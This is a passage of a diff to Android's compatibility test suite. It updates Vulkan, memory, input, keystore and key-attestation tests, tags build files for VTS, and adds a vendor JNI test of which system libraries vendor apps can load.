                 bestComputeLevel, mVulkanHardwareCompute.version);
         }
     }
 
+    @CddTest(requirement="7.9.2/C-1-5")
     @Test
     public void testVulkanVersionForVrHighPerformance() {
         if (!mPm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE))
@@ -221,16 +223,17 @@
     }
 
     private int determineHardwareCompute(JSONObject device) throws JSONException {
-        boolean haveVariablePointers = false;
-        JSONArray extensions = device.getJSONArray("extensions");
-        for (int i = 0; i < extensions.length(); i++) {
-            String name = extensions.getJSONObject(i).getString("extensionName");
-            if (name.equals("VK_KHR_variable_pointers"))
-                haveVariablePointers = true;
+        JSONObject variablePointersFeatures = device.getJSONObject("variablePointersFeaturesKHR");
+        boolean variablePointers = variablePointersFeatures.getInt("variablePointers") != 0;
+        JSONObject limits = device.getJSONObject("properties").getJSONObject("limits");
+        int maxPerStageDescriptorStorageBuffers = limits.getInt("maxPerStageDescriptorStorageBuffers");
+        if (DEBUG) {
+            Log.d(TAG, device.getJSONObject("properties").getString("deviceName") +
+                ": variablePointers=" + variablePointers +
+                " maxPerStageDescriptorStorageBuffers=" + maxPerStageDescriptorStorageBuffers);
         }
-        if (!haveVariablePointers) {
+        if (!variablePointers || maxPerStageDescriptorStorageBuffers < 16)
             return -1;
-        }
         return 0;
     }
 
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
index 170d685..eddcecc 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
@@ -536,138 +536,4 @@
             resources.getDrawable(R.drawable.testimage).setAlpha(restoreAlpha);
         }
     }
-
-    private static final int[] DENSITY_VALUES = new int[] {
-            160, 80, 320
-    };
-
-    private static final int[] DENSITY_IMAGES = new int[] {
-            R.drawable.bitmap_density,
-            R.drawable.bitmap_shader_density,
-            R.drawable.bitmap_shader_am_density,
-    };
-
-    @Test
-    public void testPreloadDensity() throws XmlPullParserException, IOException {
-        final Resources res = mContext.getResources();
-        final int densityDpi = res.getConfiguration().densityDpi;
-        try {
-            for (int i = 0; i < DENSITY_IMAGES.length; i++) {
-                verifyPreloadDensityInner(res, DENSITY_IMAGES[i], DENSITY_VALUES);
-            }
-        } finally {
-            DrawableTestUtils.setResourcesDensity(res, densityDpi);
-        }
-    }
-
-    private void verifyPreloadDensityInner(Resources res, int sourceResId, int[] densities)
-            throws XmlPullParserException, IOException {
-        final Rect tempPadding = new Rect();
-
-        // Capture initial state at preload density.
-        final int preloadDensityDpi = densities[0];
-        DrawableTestUtils.setResourcesDensity(res, preloadDensityDpi);
-
-        final XmlResourceParser parser = DrawableTestUtils.getResourceParser(res, sourceResId);
-        final BitmapDrawable preloadedDrawable = new BitmapDrawable();
-        preloadedDrawable.inflate(res, parser, Xml.asAttributeSet(parser));
-
-        final ConstantState preloadedConstantState = preloadedDrawable.getConstantState();
-        final int origWidth = preloadedDrawable.getIntrinsicWidth();
-        final int origHeight = preloadedDrawable.getIntrinsicHeight();
-        assertFalse(preloadedDrawable.getPadding(tempPadding));
-
-        compareOrSave(preloadedDrawable, preloadDensityDpi, sourceResId);
-
-        for (int i = 1; i < densities.length; i++) {
-            final int scaledDensityDpi = densities[i];
-            final float scale = scaledDensityDpi / (float) preloadDensityDpi;
-            DrawableTestUtils.setResourcesDensity(res, scaledDensityDpi);
-
-            final BitmapDrawable scaledDrawable =
-                    (BitmapDrawable) preloadedConstantState.newDrawable(res);
-            scaledDrawable.setLayoutDirection(LayoutDirection.RTL);
-
-            // Sizes are rounded.
-            assertEquals(Math.round(origWidth * scale), scaledDrawable.getIntrinsicWidth());
-            assertEquals(Math.round(origHeight * scale), scaledDrawable.getIntrinsicHeight());
-
-            // Bitmaps have no padding.
-            assertFalse(scaledDrawable.getPadding(tempPadding));
-
-            compareOrSave(scaledDrawable, scaledDensityDpi, sourceResId);
-
-            // Ensure theme density is applied correctly. Unlike most
-            // drawables, we don't have any loss of accuracy because density
-            // changes are re-computed from the source every time.
-            DrawableTestUtils.setResourcesDensity(res, preloadDensityDpi);
-
-            final Theme t = res.newTheme();
-            scaledDrawable.applyTheme(t);
-            assertEquals(origWidth, scaledDrawable.getIntrinsicWidth());
-            assertEquals(origHeight, scaledDrawable.getIntrinsicHeight());
-            assertFalse(scaledDrawable.getPadding(tempPadding));
-        }
-    }
-
-    private void compareOrSave(Drawable dr, int densityDpi, int sourceResId) {
-        final int width = dr.getIntrinsicWidth();
-        final int height = dr.getIntrinsicHeight();
-        final Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
-        bitmap.setDensity(0);
-
-        final Canvas canvas = new Canvas(bitmap);
-        dr.setBounds(0, 0, width, height);
-        dr.draw(canvas);
-
-        if (DBG_DUMP_PNG) {
-            saveGoldenImage(bitmap, sourceResId, densityDpi);
-        } else {
-            final int goldenResId = getGoldenImageResId(sourceResId, densityDpi);
-            final Bitmap golden = BitmapFactory.decodeResource(
-                    mContext.getResources(), goldenResId);
-            DrawableTestUtils.compareImages(densityDpi + " dpi", golden, bitmap,
-                    PIXEL_ERROR_THRESHOLD, PIXEL_ERROR_COUNT_THRESHOLD, 0 /* tolerance */);
-        }
-    }
-
-    private int getGoldenImageResId(int sourceResId, int densityDpi) {
-        final String name = getGoldenImageName(sourceResId, densityDpi);
-        return mContext.getResources().getIdentifier(name, "drawable", mContext.getPackageName());
-    }
-
-    private String getGoldenImageName(int sourceResId, int densityDpi) {
-        return mContext.getResources().getResourceEntryName(sourceResId) + "_golden_" + densityDpi;
-    }
-
-    private void saveGoldenImage(Bitmap bitmap, int sourceResId, int densityDpi) {
-        // Save the image to the disk.
-        FileOutputStream out = null;
-
-        try {
-            final File outputFolder = new File("/sdcard/temp/");
-            if (!outputFolder.exists()) {
-                outputFolder.mkdir();
-            }
-
-            final String goldenFilename = getGoldenImageName(sourceResId, densityDpi) + ".png";
-            final File goldenFile = new File(outputFolder, goldenFilename);
-            if (!goldenFile.exists()) {
-                goldenFile.createNewFile();
-            }
-
-            out = new FileOutputStream(goldenFile, false);
-            bitmap.compress(Bitmap.CompressFormat.PNG, 100, out);
-        } catch (Exception e) {
-            e.printStackTrace();
-        } finally {
-            if (out != null) {
-                try {
-                    out.close();
-                } catch (IOException e) {
-                    e.printStackTrace();
-                }
-            }
-        }
-    }
 }
diff --git a/tests/tests/hardware/Android.mk b/tests/tests/hardware/Android.mk
index 68e7e50..3adf811 100644
--- a/tests/tests/hardware/Android.mk
+++ b/tests/tests/hardware/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MULTILIB := both
 
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index a2ddb4d..baffdab 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -52,6 +52,7 @@
 
     private static final long ONE_MEGABYTE = 1048576L;
     private static final String TAG = "LowRamDeviceTest";
+    private static final long LOW_RAM_MAX = 1024;
 
     private PackageManager mPackageManager;
     private ActivityManager mActivityManager;
@@ -105,7 +106,7 @@
             if (supports64Bit) {
                 assertMinMemoryMb(1824);
             } else {
-                assertMinMemoryMb(1099);
+                assertMinMemoryMb(1344);
             }
         } else if (greaterThanDpi(density, DENSITY_400, screenSize,
                 SCREENLAYOUT_SIZE_NORMAL, SCREENLAYOUT_SIZE_SMALL) ||
@@ -155,7 +156,7 @@
     private void assertMinMemoryMb(long minMb) {
 
         long totalMemoryMb = getTotalMemory() / ONE_MEGABYTE;
-        boolean lowRam = totalMemoryMb <= 512;
+        boolean lowRam = totalMemoryMb <= LOW_RAM_MAX;
         boolean lowRamDevice = mActivityManager.isLowRamDevice();
 
         Log.i(TAG, String.format("minMb=%,d", minMb));
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index 18a7e64..27ba081 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -94,9 +94,14 @@
         mDeviceAddedSignal = new CountDownLatch(1);
         sendHidCommands(resourceId);
         try {
-            mDeviceAddedSignal.await(2L, TimeUnit.SECONDS);
+            // Found that in kernel 3.10, the device registration takes a very long time
+            // The wait can be decreased to 2 seconds after kernel 3.10 is no longer supported
+            mDeviceAddedSignal.await(20L, TimeUnit.SECONDS);
+            if (mDeviceAddedSignal.getCount() != 0) {
+                fail("Device added notification was not received in time.");
+            }
         } catch (InterruptedException ex) {
-            fail("Device added notification was not received within the allotted time.");
+            fail("Unexpectedly interrupted while waiting for device added notification.");
         }
     }
 
diff --git a/tests/tests/icu/Android.mk b/tests/tests/icu/Android.mk
index 4a65c44..5b80a37 100644
--- a/tests/tests/icu/Android.mk
+++ b/tests/tests/icu/Android.mk
@@ -34,7 +34,7 @@
 	android-icu4j-tests
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsIcuTestCases
 
diff --git a/tests/tests/incident/Android.mk b/tests/tests/incident/Android.mk
index bb83dda..1309c99 100644
--- a/tests/tests/incident/Android.mk
+++ b/tests/tests/incident/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsIncidentTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 #LOCAL_SDK_VERSION := current
 LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/jni/Android.mk b/tests/tests/jni/Android.mk
index 38111fc..1f332b9 100644
--- a/tests/tests/jni/Android.mk
+++ b/tests/tests/jni/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 
diff --git a/tests/tests/jni/libjnitest/Android.mk b/tests/tests/jni/libjnitest/Android.mk
index 7140de4..0703722 100644
--- a/tests/tests/jni/libjnitest/Android.mk
+++ b/tests/tests/jni/libjnitest/Android.mk
@@ -42,4 +42,6 @@
 LOCAL_SDK_VERSION := 23
 LOCAL_NDK_STL_VARIANT := c++_static
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index 504ae01..c983ee2 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -78,7 +78,8 @@
 static bool not_accessible(const std::string& library, const std::string& err) {
   return err.find("dlopen failed: library \"" + library + "\"") == 0 &&
          (err.find("is not accessible for the namespace \"classloader-namespace\"") != std::string::npos ||
-          err.find("is not accessible for the namespace \"sphal\"") != std::string::npos);
+          err.find("is not accessible for the namespace \"sphal\"") != std::string::npos ||
+          err.find("is not accessible for the namespace \"(default)\"") != std::string::npos);
 }
 
 static bool not_found(const std::string& library, const std::string& err) {
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index bd524d2..f63e76a 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -50,6 +50,7 @@
         "libmediandk.so",
         "libm.so",
         "libnativewindow.so",
+        "libneuralnetworks.so",
         "libOpenMAXAL.so",
         "libOpenSLES.so",
         "libRS.so",
diff --git a/tests/tests/jni_vendor/Android.mk b/tests/tests/jni_vendor/Android.mk
new file mode 100644
index 0000000..ba06b42
--- /dev/null
+++ b/tests/tests/jni_vendor/Android.mk
@@ -0,0 +1,47 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVendorJniTestCases
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
+# When built, explicitly put it in the vendor partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_VENDOR_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner
+
+LOCAL_JNI_SHARED_LIBRARIES := libvendorjnitest
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := current
+
+# TODO(jiyong) make this really a part of CTS
+# This can't be done right now since VNDK runtime restriction is optional
+# at least for O-MR1.
+# Tag this module as a cts test artifact
+#LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
+
+# Include the associated library's makefile.
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jni_vendor/AndroidManifest.xml b/tests/tests/jni_vendor/AndroidManifest.xml
new file mode 100644
index 0000000..363a151
--- /dev/null
+++ b/tests/tests/jni_vendor/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jni.vendor.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <!-- This is a self-instrumenting test package. -->
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.jni.vendor.cts"
+                     android:label="CTS tests of calling native code via Vendor's JNI">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/jni_vendor/AndroidTest.xml b/tests/tests/jni_vendor/AndroidTest.xml
new file mode 100644
index 0000000..65afd6b
--- /dev/null
+++ b/tests/tests/jni_vendor/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Vendor's JNI test cases">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsVendorJniTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.jni.vendor.cts" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/jni_vendor/libvendorjnitest/Android.mk b/tests/tests/jni_vendor/libvendorjnitest/Android.mk
new file mode 100644
index 0000000..ca59ee8
--- /dev/null
+++ b/tests/tests/jni_vendor/libvendorjnitest/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# This is the shared library included by the JNI test app.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libvendorjnitest
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := android_jni_vendor_cts_VendorJniTest.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+
+LOCAL_SHARED_LIBRARIES := libdl liblog
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+
+LOCAL_CFLAGS := -Wno-unused-parameter
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni_vendor/libvendorjnitest/android_jni_vendor_cts_VendorJniTest.cpp b/tests/tests/jni_vendor/libvendorjnitest/android_jni_vendor_cts_VendorJniTest.cpp
new file mode 100644
index 0000000..42e740e
--- /dev/null
+++ b/tests/tests/jni_vendor/libvendorjnitest/android_jni_vendor_cts_VendorJniTest.cpp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <dlfcn.h>
+
+extern "C" JNIEXPORT jstring JNICALL
+Java_android_jni_vendor_cts_VendorJniTest_dlopen(JNIEnv* env, jclass clazz, jstring name) {
+    const char* libname = env->GetStringUTFChars(name, nullptr);
+    jstring error_msg;
+    dlerror(); // clear any existing error
+    void* handle = dlopen(libname, RTLD_NOW);
+    env->ReleaseStringUTFChars(name, libname);
+    if (handle == nullptr) {
+        error_msg = env->NewStringUTF(dlerror());
+    } else {
+        error_msg = env->NewStringUTF("");
+    }
+    return error_msg;
+}
diff --git a/tests/tests/jni_vendor/src/android/jni/vendor/cts/VendorJniTest.java b/tests/tests/jni_vendor/src/android/jni/vendor/cts/VendorJniTest.java
new file mode 100644
index 0000000..db970e1
--- /dev/null
+++ b/tests/tests/jni_vendor/src/android/jni/vendor/cts/VendorJniTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jni.vendor.cts;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.FileSystems;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import junit.framework.TestCase;
+
+import android.os.Process;
+
+public class VendorJniTest extends TestCase {
+    private List<String> llndkLibraries;
+    private List<String> publicLibraries;
+    private List<String> vndkspLibraries;
+    private List<String> vndkLibraries;
+    private List<String> frameworkOnlyLibraries;
+
+    protected void setUp() throws Exception {
+        llndkLibraries = Files.readAllLines(FileSystems.getDefault().getPath(
+                "/system/etc/llndk.libraries.txt"));
+        publicLibraries = Files.readAllLines(FileSystems.getDefault().getPath(
+                "/system/etc/public.libraries.txt"));
+        vndkspLibraries = Files.readAllLines(FileSystems.getDefault().getPath(
+                "/system/etc/vndksp.libraries.txt"));
+
+        String systemLibDir = Process.is64Bit() ? "/system/lib64" : "/system/lib";
+
+        vndkLibraries = new ArrayList<>();
+        for(File f : (new File(systemLibDir + "/vndk")).listFiles()) {
+            if (f.isFile()) {
+                String name = f.getName();
+                if (name.endsWith(".so")) {
+                    vndkLibraries.add(name);
+                }
+            }
+        }
+
+        frameworkOnlyLibraries = new ArrayList<>();
+        for(File f : (new File(systemLibDir)).listFiles()) {
+            if (f.isFile()) {
+                String name = f.getName();
+                if (name.endsWith(".so") && !llndkLibraries.contains(name)
+                        && !vndkspLibraries.contains(name)
+                        && !publicLibraries.contains(name)) {
+                    frameworkOnlyLibraries.add(name);
+                }
+            }
+        }
+
+        System.loadLibrary("vendorjnitest");
+    }
+
+    public static native String dlopen(String name);
+
+    /* test if llndk libraries are all accessible */
+    public void test_llndkLibraries() {
+        for(String lib : llndkLibraries) {
+            assertEquals("", dlopen(lib));
+        }
+    }
+
+    /* test if vndk-sp libs are accessible */
+    public void test_vndkSpLibraries() {
+        for(String lib : vndkspLibraries) {
+            String error = dlopen(lib);
+            if (lib.equals("android.hidl.memory@1.0-impl.so")) {
+                // This won't be accessible to vendor JNI. This lib is only accessible from the
+                // 'sphal' namespace which isn't linked to the vendor-classloader-namespace.
+                if (error.equals("")) {
+                    fail(lib + " must not be accessible to vendor apks, but was accessible.");
+                }
+                continue;
+            }
+            assertEquals("", error);
+        }
+    }
+
+    /* test if vndk libs are not accessible */
+    public void test_vndkLibraries() {
+        for(String lib : vndkLibraries) {
+            String error = dlopen(lib);
+            if (error.equals("")) {
+                fail(lib + " must not be accessible to vendor apks, but was accessible.");
+            }
+        }
+    }
+
+    /* test if framework-only libs are not accessible */
+    public void test_frameworkOnlyLibraries() {
+        for(String lib : frameworkOnlyLibraries) {
+            String error = dlopen(lib);
+            if (error.equals("")) {
+                fail(lib + " must not be accessible to vendor apks, but was accessible.");
+            }
+        }
+    }
+}
diff --git a/tests/tests/keystore/Android.mk b/tests/tests/keystore/Android.mk
index 21578d4..ea24954 100644
--- a/tests/tests/keystore/Android.mk
+++ b/tests/tests/keystore/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_JAVA_LIBRARIES := bouncycastle
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index 57a7648..bac8ed0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -687,23 +687,12 @@
                     // Encrypting this plaintext using Android Keystore Cipher should fail.
                     Cipher cipher = Cipher.getInstance(algorithm, keystoreProvider);
                     cipher.init(Cipher.ENCRYPT_MODE, encryptionKey);
-                    if ("RSA/ECB/NoPadding".equalsIgnoreCase(algorithm)) {
-                        // This transformation is special: it's supposed to throw a
-                        // BadPaddingException instead of an IllegalBlockSizeException.
-                        try {
-                            byte[] ciphertext = cipher.doFinal(plaintext);
-                            fail("Unexpectedly produced ciphertext (" + ciphertext.length
-                                    + " bytes): " + HexEncoding.encode(ciphertext) + " for "
-                                    + plaintext.length + " byte long plaintext");
-                        } catch (BadPaddingException expected) {}
-                    } else {
-                        try {
-                            byte[] ciphertext = cipher.doFinal(plaintext);
-                            fail("Unexpectedly produced ciphertext (" + ciphertext.length
-                                    + " bytes): " + HexEncoding.encode(ciphertext) + " for "
-                                    + plaintext.length + " byte long plaintext");
-                        } catch (IllegalBlockSizeException expected) {}
-                    }
+                    try {
+                        byte[] ciphertext = cipher.doFinal(plaintext);
+                        fail("Unexpectedly produced ciphertext (" + ciphertext.length
+                                + " bytes): " + HexEncoding.encode(ciphertext) + " for "
+                                + plaintext.length + " byte long plaintext");
+                    } catch (IllegalBlockSizeException | BadPaddingException expected) {}
 
                     // Encrypting this plaintext using the highest-priority implementation should
                     // fail.
@@ -720,34 +709,16 @@
                         // This has already been tested above.
                         continue;
                     }
-                    if ("RSA/ECB/NoPadding".equalsIgnoreCase(algorithm)) {
-                        // This transformation is special: it's supposed to throw a
-                        // BadPaddingException instead of an IllegalBlockSizeException.
-                        try {
-                            byte[] ciphertext = cipher.doFinal(plaintext);
-                            fail(otherProvider.getName() + " unexpectedly produced ciphertext ("
-                                    + ciphertext.length + " bytes): "
-                                    + HexEncoding.encode(ciphertext) + " for "
-                                    + plaintext.length + " byte long plaintext");
-                            // TODO: Remove this workaround once Conscrypt's RSA Cipher Bug 22567458
-                            // is fixed. Conscrypt's Cipher.doFinal throws a SignatureException.
-                            // This code is unreachable because of the fail() above. It's here only
-                            // so that the compiler does not complain about us catching
-                            // SignatureException.
-                            Signature sig = Signature.getInstance("SHA256withRSA");
-                            sig.sign();
-                        } catch (BadPaddingException | SignatureException expected) {}
-                    } else {
-                        try {
-                            byte[] ciphertext = cipher.doFinal(plaintext);
-                            fail(otherProvider.getName() + " unexpectedly produced ciphertext ("
-                                    + ciphertext.length + " bytes): "
-                                    + HexEncoding.encode(ciphertext) + " for "
-                                    + plaintext.length + " byte long plaintext");
-                            // TODO: Remove the catching of RuntimeException workaround once the
-                            // corresponding Bug 22567463 in Conscrypt is fixed.
-                        } catch (IllegalBlockSizeException | RuntimeException expected) {}
-                    }
+                    try {
+                        byte[] ciphertext = cipher.doFinal(plaintext);
+                        fail(otherProvider.getName() + " unexpectedly produced ciphertext ("
+                                + ciphertext.length + " bytes): "
+                                + HexEncoding.encode(ciphertext) + " for "
+                                + plaintext.length + " byte long plaintext");
+                        // TODO: Remove the catching of RuntimeException and BadPaddingException
+                        // workaround once the corresponding Bug 22567463 in Conscrypt is fixed.
+                    } catch (IllegalBlockSizeException | BadPaddingException | RuntimeException
+                            exception) {}
                 } catch (Throwable e) {
                     throw new RuntimeException(
                             "Failed for " + algorithm + " with key " + key.getAlias()
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 67c4e3a..554b6ca 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -50,6 +50,7 @@
 import static org.junit.matchers.JUnitMatchers.hasItems;
 
 import com.google.common.collect.ImmutableSet;
+import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.content.Context;
 import android.os.Build;
@@ -151,6 +152,10 @@
                 KM_PURPOSE_SIGN, KM_PURPOSE_VERIFY, KM_PURPOSE_SIGN | KM_PURPOSE_VERIFY
         };
 
+        // Skip the test if there is no secure lock screen
+        if (!hasSecureLockScreen()) {
+            return;
+        }
         for (int curveIndex = 0; curveIndex < curves.length; ++curveIndex) {
             for (int challengeIndex = 0; challengeIndex < challenges.length; ++challengeIndex) {
                 for (int purposeIndex = 0; purposeIndex < purposes.length; ++purposeIndex) {
@@ -276,6 +281,10 @@
                 },
         };
 
+        // Skip the test if there is no secure lock screen
+        if (!hasSecureLockScreen()) {
+            return;
+        }
         for (int keySize : keySizes) {
             for (byte[] challenge : challenges) {
                 for (int purpose : purposes) {
@@ -767,8 +776,6 @@
         assertNotNull(rootOfTrust);
         assertNotNull(rootOfTrust.getVerifiedBootKey());
         assertTrue(rootOfTrust.getVerifiedBootKey().length >= 32);
-        assertTrue(rootOfTrust.isDeviceLocked());
-        assertEquals(KM_VERIFIED_BOOT_VERIFIED, rootOfTrust.getVerifiedBootState());
     }
 
     private void checkRsaKeyDetails(Attestation attestation, int keySize, int purposes,
@@ -911,4 +918,15 @@
             }
         }
     }
+    /*
+     * Device that don't report android.software.device_admin doesn't have secure lock screen
+     * because device with secure lock screen MUST report android.software.device_admin .
+     *
+     * https://source.android.com/compatibility/7.0/android-7.0-cdd.html#3_9_device_administration
+     *
+     */
+    private boolean hasSecureLockScreen() {
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_DEVICE_ADMIN);
+    }
 }
diff --git a/tests/tests/libcorefileio/Android.mk b/tests/tests/libcorefileio/Android.mk
index 066d727..cfd9775 100644
--- a/tests/tests/libcorefileio/Android.mk
+++ b/tests/tests/libcorefileio/Android.mk
@@ -28,6 +28,6 @@
